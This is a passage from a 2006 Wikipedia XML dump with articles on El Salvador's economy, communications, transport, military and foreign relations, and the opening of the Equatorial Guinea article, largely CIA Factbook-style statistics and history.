[[pt:Política de El Salvador]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of El Salvador</title>
    <id>9361</id>
    <revision>
      <id>34739525</id>
      <timestamp>2006-01-11T10:44:08Z</timestamp>
      <contributor>
        <username>Yongxinstudy</username>
        <id>99448</id>
      </contributor>
      <text xml:space="preserve">&lt;table border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;300&quot;&gt;
&lt;tr bgcolor=cccccc&gt;&lt;td colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;&gt;'''Economic Statistics'''
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''GDP:'''&lt;/td&gt;
&lt;td&gt;purchasing power parity $18.1 billion (1999 est.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''GDP - real growth rate:'''&lt;/td&gt;
&lt;td&gt;2.2% (1999 est.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''GDP - per capita:'''&lt;/td&gt;
&lt;td&gt;purchasing power parity $3,100 (1999 est.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;'''GDP - composition by sector:'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;br /&gt;&lt;td&gt;''agriculture:''&lt;/td&gt;
&lt;td&gt;12%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;br /&gt;&lt;td&gt;''industry:''&lt;/td&gt;
&lt;td&gt;22%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;br /&gt;&lt;td&gt;''services:''&lt;/td&gt;
&lt;td&gt;66% (1999 est.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Population below poverty line:'''&lt;/td&gt;
&lt;td&gt;48% (1999 est.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;'''Household income or consumption by percentage share:'''&lt;/th&gt;
&lt;tr&gt;&lt;td&gt;''lowest 10%:''&lt;/td&gt;
&lt;td&gt;1.2%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;''highest 10%:''&lt;/td&gt;
&lt;td&gt;38.3% (1995)&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Inflation rate (consumer prices):'''&lt;/td&gt;
&lt;td&gt;1.3% (1999 est.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Labor force:'''&lt;/td&gt;
&lt;td&gt;2.35 million (1999)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;'''Labor force - by occupation:(1999 est.)&lt;/th&gt;'''
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;agriculture&lt;/td&gt;&lt;td&gt; 30%&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;industry&lt;/td&gt; &lt;td&gt;15%&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;services&lt;/td&gt; &lt;td&gt;55%&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Unemployment rate:'''&lt;/td&gt;
&lt;td&gt;7.7% (1997 est.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;'''Budget:'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;''revenues:''&lt;/td&gt;
&lt;td&gt;$1.5 billion&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;''expenditures:''&lt;/td&gt;
&lt;td&gt;$1.73 billion, including capital expenditures of $NA (1999)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Industries:'''&lt;/td&gt;
&lt;td&gt;food processing, beverages, petroleum, chemicals, fertilizer, textiles, furniture, light metals&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Industrial production growth rate:'''&lt;/td&gt;
&lt;td&gt;3.5% (1999 est.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Electricity - production:'''&lt;/td&gt;
&lt;td&gt;4,100 GWh (1999 est.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;'''Electricity - production by source:'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;''fossil fuel:''&lt;/td&gt;
&lt;td&gt;49.32%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;''hydro:''&lt;/td&gt;
&lt;td&gt;36.46%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;''nuclear:''&lt;/td&gt;
&lt;td&gt;0%&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;''other:''&lt;/td&gt;
&lt;td&gt;14.22% (1998)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Electricity - consumption:'''&lt;/td&gt;
&lt;td&gt;4,170 GWh (1999)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Electricity - exports:'''&lt;/td&gt;
&lt;td&gt;30 GWh (1999)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Electricity - imports:'''&lt;/td&gt;
&lt;td&gt;65 GWh (1999)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Agriculture - products:'''&lt;/td&gt;
&lt;td&gt;[[coffee]], [[sugar cane]], [[maize]], [[rice]], [[bean]]s, [[oilseed]], [[cotton]], [[sorghum]]; [[beef]], [[dairy]] products; [[shrimp]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Exports:'''&lt;/td&gt;
&lt;td&gt;$2.5 billion (f.o.b., 1999)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Exports - commodities:'''&lt;/td&gt;
&lt;td&gt;offshore assembly exports, [[coffee]], [[sugar]], [[shrimp]], textiles, chemicals, electricity&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;'''Exports - partners:'''&lt;/td&gt;
&lt;td&gt;[[United States|US]] 59%, [[Guatemala]] 12%, [[Germany]] 6%, [[Costa Rica]] 4%, [[Honduras]] (1998)&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;'''Imports:'''&lt;/td&gt;
&lt;td&gt;$4.15 billion (c.i.f., 1999)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Imports - commodities:'''&lt;/td&gt;
&lt;td&gt;raw materials, consumer goods, capital goods, fuels, foodstuffs, petroleum, electricity&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Imports - partners:'''&lt;/td&gt;
&lt;td&gt;US 51%, Guatemala 9%, Mexico 6%, Japan 3%, Costa Rica (1999)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Debt - external:'''&lt;/td&gt;
&lt;td&gt;$3.3 billion (1999 est.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Economic aid - recipient:'''&lt;/td&gt;
&lt;td&gt;total $252 million; $57 million from US (1999 est.)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Currency:'''&lt;/td&gt;
&lt;td&gt;1 Salvadoran [[Colón (currency)|colón]] (¢) = 100 centavos;
US dollar circulates as legal tender since [[January 1]], [[2001]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Exchange rates:'''&lt;/td&gt;&lt;td&gt;
Salvadoran colones (¢) per USD 1 (end of period) - 8.75 fixed rate since 2001&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Fiscal year:'''&lt;/td&gt;
&lt;td&gt;calendar year&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==Overview==
The [[El Salvador|Salvadoran]] [[economics|economy]] continues to benefit from a commitment to [[free market]]s and careful fiscal management. The impact of the civil war on El Salvador's economy was devastating; from [[1979]]-[[1992]], losses from damage to infrastructure and means of production due to [[guerrilla warfare|guerrilla]] sabotage as well as from reduced export earnings totaled about [[United States dollar|USD]] $2.2 billion. But since attacks on economic targets ended in 1992, improved investor confidence has led to increased private investment.

Rich [[soil]], moderate [[climate]], and a hard-working and enterprising [[labour (economics)|labor]] pool comprise El Salvador's greatest assets. Much of the improvement in El Salvador's economy is due to free market policy initiatives carried out by the [[Alfredo Cristiani|Cristiani]] and [[Armando Calderón Sol|Calderón Sol]] governments, including the privatization of the [[banking]] system, [[telecommunications]], public [[pension]]s, [[Electricity distribution|electrical distribution]] and some [[electrical generation]], reduction of import duties, elimination of price controls on virtually all consumer products, and enhancing the investment climate through measures such as improved enforcement of [[intellectual property]] rights.

The post-war boom in the Salvadoran economy began to fade in [[July]] [[1995]] after an abrupt shift in monetary policy was followed by a June increase in the value added tax (VAT) and price hikes in basic public services. The slowdown lingered into 1996. Growth in [[Gross domestic product|GDP]] in 1996 was a mere 2.1%, but by 1997 it had picked up to 4%. In 1998, El Salvador's economy grew by 3.2% compared to the 4.2% growth posted in 1997. The damage caused by [[Hurricane Mitch]] to infrastructure and to agricultural production reduced 1998 growth by an estimated 0.5%. Growth weakened further (to 2.6%) in 1999 due to poor international prices for El Salvador's principal export commodities, weak exports to [[Central America|Central American]] neighbors recovering from Hurricane Mitch, and an investment slowdown caused by the March 1999 presidential elections and delays in legislative approval of a national budget. It picked up slightly to 3% in 2000. Because of the earthquakes that struck the country in January and February, prospects for any growth in 2001 are dim. Inflation for 1998 was 4%, and remained stable in 1999-2000.

Fiscal policy has been the biggest challenge for the Salvadoran Government. The 1992 peace accords committed the government to heavy expenditures for transition programs and [[social services]]. Although [[international aid]] was generous, the government has focused on improving the collection of its current revenues. A 10% value-added tax, implemented in September 1992, was raised to 13% in July 1995. The VAT is estimated to have contributed 51% of total tax revenues in 1999, due mainly to improved collection techniques. A multiple exchange rate regime that had been used to conserve foreign exchange was phased out during 1990 and replaced by a free-floating rate. The [[Colón (currency)|colón]] depreciated from five to the US dollar in 1989 to eight in 1991, and in 1993, was informally pegged at 8.73 colones to the dollar, later adjusted to 8.79. Large inflows of dollars in the form of family remittances from Salvadorans working in the United States offset a substantial trade deficit and support the exchange rate. The monthly average of remittances reported by the Central Bank is around $117 million, with the total estimated at more than $1.4 billion for 1999. As of December 1999, net international reserves equaled $1.8 billion or roughly 5 months of imports. Having this hard currency buffer to work with, the Salvadoran Government undertook a &quot;monetary integration plan&quot; beginning [[January 1]], [[2001]], by which the dollar became legal tender alongside the colón. No more colones are to be printed, the economy is expected to be, in practice, fully [[Dollarization|dollarized]], and the Central Reserve Bank dissolved, by late 2003. The FMLN is strongly opposed to the plan, regarding it as unconstitutional, and plans to make it an issue in the 2003 legislative elections.

===Foreign Debt and Assistance===
El Salvador's external [[debt]] decreased sharply in 1993, chiefly as a result of an agreement under which the [[United States]] forgave about $461 million of official debt. As a result, total debt service decreased by 16% over 1992. External debt stood at $2.8 billion at the end of 1999. Debt service amounted to 2.5% of GDP in 1998 and is considered moderate. The Government of El Salvador has been successful in obtaining significant new credits from the international financial institutions. Among the most significant loans are a second structural adjustment loan from the World Bank for $52.5 million, another [[World Bank]] loan of $40 million for agricultural reform, a $20 million loan from the [[Central American Bank for Economic Integration]] to be used to repair roads, and a $60 million [[Inter-American Development Bank]] loan for poverty alleviation projects. Total non-U.S. Government aid, excluding [[Non-governmental organization|NGO]] assistance and bilateral loan programs, reached $38 million in 1999. Although official figures show relatively small and diminishing aid flows, the total is probably larger. Significant amounts come in through nongovernmental organizations and are channeled to groups not generally included in official statistics, such as political parties, unions, and churches. Some $300 million has been contracted from international institutions and governments for infrastructure works and social programs to be undertaken. The debt profile is expected to increase over the next several years as the international donor community has pledged $1.26 billion to finance El Salvador's reconstruction and modernization. Large loans now being sought to finance reconstruction from the 2001 earthquakes will further alter the country?s debt profile.

=='''Natural Disasters: [[Hurricane Mitch]] (1998) and the Earthquakes (2001)'''==
Hurricane Mitch hit El Salvador in late October 1998, generating extreme rainfall of which caused widespread [[flood]]ing and landslides. Roughly 650 km&amp;sup2; were flooded, and the Salvadoran Government pronounced 374 people dead or missing. In addition, approximately 55,900 people were rendered [[homeless]]. The areas that suffered the most were the low-lying coastal zones, particularly in the floodplain of the [[Lempa River|Lempa]] and [[Sam Miguel Grande River]]s. Three major bridges that cross the Lempa were swept away, restricting access to the eastern third of the country and forcing the emergency evacuation of many communities. The heavy rainfall, flooding, and mudslides caused by Hurricane Mitch also severely damaged El Salvador's road network. Along with the three major bridges over the Lempa River, 12 other bridges were damaged or destroyed by the Mitch flooding.

The largest single-affected sector was El Salvador's [[agriculture]]. Nearly 18% of the total 1998-99 basic [[cereal|grain]] harvest was lost. [[Coffee]] production was hit particularly hard; 3% of the harvest was lost in addition to 8.2% that was lost earlier in the year due to El Nino. Major losses of [[sugarcane]], totaling 9% of the estimated 1998-99 production, were sustained primarily in the coastal regions. [[Livestock]] losses amounted to $1 million, including 2,992 head of [[cattle]]. In addition to these losses, El Salvador also had to face the threat of disease outbreak. The Ministry of Health recorded a total of 109,038 medical cases related to Hurricane Mitch between [[October 31]] and [[November 18]], [[1998]]; 23% of these cases were [[respiratory infection]]s, followed by skin ailments, [[diarrhea]], and [[conjunctivitis]].

Reconstruction from Mitch was still underway when, in early 2001, the country experienced a series of devastating [[earthquake]]s that left nearly 2,000 people dead or missing, 8,000 injured, and caused severe dislocations across all sectors of Salvadoran society. Nearly 25% of all private homes in the country were either destroyed or badly damaged, and 1.5 million persons were left without housing. Hundreds of public buildings were damaged or destroyed, and sanitation and water systems in many communities put out service. The total cost of the damage was estimated at between $1.5 billion and $2 billion, and the devastation thought to equal or surpass that of the 1986 quake that struck [[San Salvador, El Salvador|San Salvador]]. Given the magnitude of the disaster, reconstruction and economic recovery will remain the primary focus of the Salvadoran Government for some time to come.

The Hurricane Mitch disaster prompted a tremendous response from the international community governments, nongovernmental organizations (NGOs), and private citizens alike. Sixteen foreign governments--including the U.S., 19 international NGOs, 20 Salvadoran embassies and consulates, and 20 private firms and individuals provided El Salvador with in-kind assistance. The Government of El Salvador reports that 961 tons of goods and food were received. The Ministry of Foreign Affairs estimates that contribution in cash given directly to the Salvadoran Government totaled $4.3 million. The U.S. Government has provided $37.7 million in assistance through USAID and the U.S. Departments of Agriculture and Defense.

Following the 2001 earthquakes, the [[U.S. Embassy]] assumed a leading role in implementing U.S. sponsored assistance. The U.S. Government responded immediately to the emergency, with military helicopters active in initial rescue operations, delivering emergency supplies, rescue workers, and damage assessment teams to stricken communities all over the country. [[USAID]]s Office of Foreign Disaster Assistance had a team of experts working with Salvadoran relief authorities immediately after both quakes, and provided assistance totaling more than $14 million. In addition, the Department of Defense provided an initial response valued at more than $11 million. For long-term reconstruction, the international community offered a total aid package of $1.3 billion, over $110 million of it from the United States.

=='''Manufacturing'''==
El Salvador historically has been the most industrialized nation in Central America, though a decade of war eroded this position. In 1999, [[manufacturing]] accounted for 22% of GDP. The industrial sector has shifted since 1993 from a primarily domestic orientation to include free zone ([[maquiladora]]) manufacturing for export. Maquila exports have led the growth in the export sector and in the last 3 years have made an important contribution to the Salvadoran economy.

=='''Trade'''==
El Salvador's [[balance of payments]] continued to show a net surplus. Exports in 1999 grew 1.9% while imports grew 3%, narrowing El Salvador's trade deficit. As in the previous year, the large trade deficit was offset by foreign aid and [[family remittance]]s. Remittances are increasing at an annual rate of 6.5%, and an estimated $1.35 billion will enter the national economy during 1999. Private foreign capital continued to flow in, though mostly as short-term import financing and not at the levels of previous years. The Central American Common Market continued its dynamic reactivation process, now with most regional commerce duty-free. In September 1996, El Salvador, Guatemala, and Honduras opened free trade talks with Mexico. Although tariff cuts that were expected in July 1996 were delayed until 1997, the Government of El Salvador is committed to a free and open economy. Total U.S. exports to El Salvador reached $2.1 billion in 1999, while El Salvador exported $1.6 billion to the United States. U.S. support for El Salvador's privatization of the [[electrical]] and [[telecommunications]] markets has markedly expanded opportunities for U.S. investment in the country. More than 300 U.S. companies have established either a permanent commercial presence in El Salvador or work through representative offices in the country. The Department of State maintains a Country Commercial Guide for U.S. businesses seeking detailed information on business opportunities in El Salvador.

=='''Agriculture and Land Reform'''==
Before 1980, a small economic elite owned most of the land in El Salvador and controlled a highly successful agricultural industry. About 70% of farmers were [[sharecropper]]s or [[laborer]]s on large [[plantation]]s. Many farm workers were under- or unemployed and [[impoverished]]. The civilian-military [[junta]], which came to power in 1979, instituted an ambitious land reform program to redress the inequities of the past, respond to the legitimate grievances of the rural poor, and promote more broadly based growth in the agricultural sector. The ultimate goal was to develop a rural middle class with a stake in a peaceful and prosperous future for El Salvador. At least 525,000 people--more than 12% of El Salvador's population at the time and perhaps 25% of the rural poor--benefited from agrarian reform, and more than 22% of El Salvador's total farmland was transferred to those who previously worked the land but did not own it. But when agrarian reform ended in 1990, about 150,000 landless families still had not benefited from the reform actions. The 1992 peace accords made provisions for land transfers to all qualified ex-combatants of both the [[FMLN]] and [[ESAF]], as well as to landless peasants living in former conflict areas. The United States undertook to provide $300 million for a national reconstruction plan. This included $60 million for land purchases and $17 million for agricultural credits. USAID remains actively involved in providing technical training, access to credit, and other financial services for many of the land beneficiaries.

==See also==
* [[El Salvador]]
* [[Economy of South America]]
* [[Economy of North America]]

{{WTO}}
[[Category:WTO members|El Salvador]]
[[Category:Economy of El Salvador| ]]
 

[[pt:Economia de El Salvador]]
[[zh:萨尔瓦多]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in El Salvador</title>
    <id>9362</id>
    <revision>
      <id>40363077</id>
      <timestamp>2006-02-20T01:47:45Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''[[Telephone]]s - fixed lines in service:'''
929,100 (June 2005)

'''Telephones - mobile cellular:'''
1,946,800 (June 2005)

'''Telephone system:'''
&lt;br&gt;''domestic:''
nationwide microwave radio relay system
&lt;br&gt;''international:''
[[satellite]] earth station - 1 [[Intelsat]] ([[Atlantic Ocean]]); connected to [[Central American Microwave System]]

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 52, FM 144, shortwave 1 (2004)

'''Radios:'''
5.75 million (1997)

'''[[Television]] broadcast stations:'''
98 (2005)

'''Televisions:'''
5,900,881 (2005)

'''[[Internet Service Provider]]s (ISPs):'''
11 (early 2005)

'''[[Country code]] (Top level domain):''' SV

:''See also :'' [[El Salvador]]

==External links==
*[http://www.siget.gob.sv General Telecomunications Office in El Salvador]
*[http://www.tipcom.net/listasal/celulares.htm Instructions on how to send SMS to El Salvador]
*[http://www.gsmworld.com/roaming/gsminfo/cou_sv.shtml GSM Cell Phone Networks in El Salvador]

{{ElSalvador-stub}}

[[Category:Communications in El Salvador| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in El Salvador</title>
    <id>9363</id>
    <revision>
      <id>31239243</id>
      <timestamp>2005-12-13T21:10:03Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in El Salvador]] to [[Transport in El Salvador]]</comment>
      <text xml:space="preserve">== [[Railway]]s ==
&lt;br&gt;''total:''
602 km (single track; note - some sections abandoned, unusable, or operating at reduced capacity)
&lt;br&gt;''narrow gauge:''
602 km 0.914-m gauge

=== Railway links with adjacent countries ===
* [[Transportation in Guatemala|Guatemala]]  - none in use [http://www.iexplore.com/dmap/El+Salvador/Do's+and+Don'ts]
* [[Transportation in Honduras|Honduras]] - no

== [[Highway]]s ==
&lt;br&gt;''total:'' [[Image:El-Salvador-Bus.jpg|thumb|Bus running between Santa Ana and San Salvador]]
10,029 km
&lt;br&gt;''paved:''
1,986 km (including 327 km of expressways)
&lt;br&gt;''unpaved:''
8,043 km (1997 est.)

== Waterways ==
[[Rio Lempa]] partially navigable

== Ports and [[harbor]]s ==
=== Pacific Ocean ===
[[Acajutla]], [[Puerto Cutuco]], [[La Libertad]], [[La Union, El Salvador|La Union]], [[Puerto El Triunfo]]

== [[Merchant marine]] ==
none (1999 est.)

== [[Airport]]s ==
85 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
4
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
2 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
81
&lt;br&gt;''914 to 1,523 m:''
17
&lt;br&gt;''under 914 m:''
64 (1999 est.)

=== Heliports ===
1 (1999 est.)

== See also ==

* [[El Salvador]]


{{Salvador-stub}}


 
[[Category:Transport in El Salvador| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of El Salvador</title>
    <id>9364</id>
    <revision>
      <id>31235546</id>
      <timestamp>2005-12-13T20:43:11Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>adjusted categorisation</comment>
      <text xml:space="preserve">'''[[Military]] branches:'''
[[Army of El Salvador|Army]], [[Navy of El Salvador|Navy]], [[Air Force of El Salvador|Air Force]]

'''Military manpower - military age:'''
18 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
1,428,974 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
906,656 (2000 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
67,181 (2000 est.)

'''Military expenditures - dollar figure:'''
$105 million (FY98)

'''Military expenditures - percent of GDP:'''
0.9% (FY98)

==References and Links==
*[[El Salvador]]
[[Category:Government of El Salvador]]
[[Category:Militaries|El Salvador]]
{{Salvador-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of El Salvador</title>
    <id>9365</id>
    <revision>
      <id>35318091</id>
      <timestamp>2006-01-15T21:59:21Z</timestamp>
      <contributor>
        <username>Folajimi</username>
        <id>508378</id>
      </contributor>
      <comment>Wikify 'working group'</comment>
      <text xml:space="preserve">[[El Salvador]] is a member of the [[United Nations]] and several of its specialized agencies, the [[Organization of American States]] (OAS), the [[Central American Common Market]] (CACM), the [[Central American Parliament]] (PARLACEN), and the [[Central American Integration System]] (SICA). It actively participates in the [[Central American Security Commission]] (CASC), which seeks to promote regional arms control. El Salvador also is a member of the [[World Trade Organization]] and is pursuing regional free trade agreements. An active participant in the [[Summit of the Americas]] process, El Salvador chairs a [[working group]] on market access under the [[Free Trade Area of the Americas]] initiative. El Salvador has joined its six Central American neighbors in signing the Alliance for Sustainable Development, known as the Conjunta Centroamerica-USA or [[CONCAUSA]] to promote sustainable economic development in the region.

El Salvador maintains diplomatic relations with the [[Republic of China]] (Taiwan) instead of the [[People's Republic of China]].

'''Disputes - international:'''

In July 1969, El Salvador and [[Honduras]] fought the 100-hour [[Football War]] over disputed border areas and friction resulting from the 300,000 Salvadorans who had emigrated to Honduras in search of land and employment. The catalyst was nationalistic feelings aroused by a series of soccer matches between the two countries. The two countries formally signed a peace treaty on [[October 30]], 1980, which put the border dispute before the [[International Court of Justice]]. In September 1992, the court issued a 400-page ruling, awarding much of the disputed land to Honduras. Although there have been tensions between citizens on both sides of the border, the two countries have worked to maintain stability and signed an agreement in November 1996 to establish a framework for negotiating the final disposition of citizens and property in the affected areas. El Salvador and Honduras share normal diplomatic and trade relations.

The [[Honduras]]-El Salvador Border Protocol ratified by Honduras in May 1999 established a framework for a long-delayed border demarcation, which is currently underway; with respect to the maritime boundary in the [[Golfo de Fonseca]], the [[ICJ]] referred to the line determined by the 1900 [[Honduras-Nicaragua Mixed Boundary Commission]] and advised that some tripartite resolution among El Salvador, Honduras and [[Nicaragua]] likely would be required.

'''Illicit drugs:'''
transshipment point for [[cocaine]]; [[marijuana]] produced for local consumption; domestic [[drug use]] on the rise.

[[Category:Foreign relations of El Salvador| ]]</text>
    </revision>
  </page>
  <page>
    <title>Equatorial Guinea</title>
    <id>9366</id>
    <revision>
      <id>41917218</id>
      <timestamp>2006-03-02T16:33:06Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.114.147.3|207.114.147.3]] ([[User talk:207.114.147.3|talk]]) to last version by Jorge Stolfi</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''República de Guinea Ecuatorial&lt;br&gt;République de la Guinée Équatoriale'''&lt;/big&gt;&lt;/big&gt;
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Flag of Equatorial Guinea.svg|125px|Flag of Equatorial Guinea]]
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Equatorial Guinea coa.png|100px|Coat of Arms of Equatorial Guinea]]
|-
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Flag of Equatorial Guinea|In Detail]])
| align=&quot;center&quot; width=&quot;140px&quot; | ([[Coat of Arms of Equatorial Guinea|In Detail]])
|}
|-
| align=&quot;center&quot; colspan=2 | &lt;small&gt;''[[National motto]]: Unidad, Paz, Justicia&lt;br&gt;([[Spanish language|Spanish]]: (Unity, Peace, Justice)''&lt;/small&gt;
|-
| align=center colspan=2 | [[Image:LocationEquatorialGuinea.png|Location of Equatorial Guinea]]
|-
| '''[[Official language]]'''
| [[Spanish language|Spanish]], [[French language|French]]
|-
| '''[[Capital]] and Largest City'''
| [[Malabo]]
|-
| '''Capital's [[coordinate]]s'''
| N 3&amp;deg; 21&amp;prime; E 8&amp;deg; 40&amp;prime;
|-
| '''[[List of Presidents of Equatorial Guinea|President]]'''
| [[Teodoro Obiang Nguema Mbasogo]]
|-
| '''[[List of Prime Ministers of Equatorial Guinea|Prime Minister]]'''
| [[Miguel Abia Biteo Boricó]]
|-
| '''[[Area]]'''&lt;br /&gt;&amp;nbsp;- Total &lt;br /&gt;&amp;nbsp;- % water
| [[List of countries by area|Ranked 141st]] &lt;br /&gt; 28,051 [[square kilometre|km&amp;sup2;]] &lt;br /&gt; Negligible
|-
| '''[[Population]]'''
&amp;nbsp;- Total ([http://www.cia.gov/cia/publications/factbook/geos/ek.html July 2005])
&amp;nbsp;- [[Population density|Density]]
| [[List of countries by population|Ranked 159th]]
535,881&lt;br /&gt;
18.6/km&amp;sup2;
|-
| '''[[Gross Domestic Product|GDP]]''' (PPP)
&amp;nbsp;- Total ([[Year]])
&amp;nbsp;- GDP/head
| [[List of countries by GDP|Ranked 182nd]]
$25.69 billion&lt;br&gt;
$50,200 (CIA Factbook)&lt;br&gt;
By IMF GDP (PPP) per capita is $33,994 and rank is 6.
|-
|'''[[Human Development Index|HDI]]''' ([[2003]]) || 0.655 ([[List of countries by Human Development Index|121st]]) – &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt;
|-
| '''[[Currency]]'''
| [[CFA franc]] (XAF)
|-
| '''[[Time zone]]'''
| [[Coordinated Universal Time|UTC]] +1
|-
| '''[[Independence]]'''&lt;br /&gt;&amp;nbsp;- Date
| From [[Spain]]&lt;br /&gt;[[October 12]], [[1968]]
|-
| '''[[National anthem]]'''
| ''[[Caminemos pisando la senda]]''
|-
| '''[[Top-level domain|Internet TLD]]'''
| [[.gq]]
|-
| '''[[List of country calling codes|Calling Code]]'''
| 240
|}
The '''Republic of Equatorial Guinea''' is a nation in west [[central Africa]], and one of the smallest countries in continental [[Africa]]. It borders [[Cameroon]] on the north, [[Gabon]] on the south and east, and the [[Gulf of Guinea]] on the west, where the islands of [[São Tomé and Príncipe]] lie to its southwest. Formerly the [[Spain|Spanish]] [[colony]] of [[Spanish Guinea]], the country's territory (continentally known as [[Río Muni]]) includes a number of islands, including the sizable island of [[Bioko]] where the capital, [[Malabo]] (formerly Santa Isabel), is located. Its post-independence name is suggestive of its being situated near both the [[equator]] and the Gulf of Guinea. It is the only country in Africa where [[Spanish language|Spanish]] is an official language.

==History==
''Main article: [[History of Equatorial Guinea]]''

The first inhabitants of the region that is now Equatorial Guinea are believed to have been [[Pygmies]], of whom only isolated pockets remain in northern [[Rio Muni]]. [[Bantu]] migrations between the 17th and 19th centuries brought the coastal tribes and later the [[Beti-Pahuin#Fang|Fang]]. Elements of the latter may have generated the [[Bubi]], who emigrated to [[Bioko]] from [[Cameroon]] and Rio Muni in several waves and succeeded former neolithic populations. The [[Igbo people]] of [[Nigeria]] arrived in the 18th century. The [[Annobon]] population, native to [[Angola]], was introduced by the Portuguese via [[São Tomé Island]] ([[São Tomé and Príncipe]]).

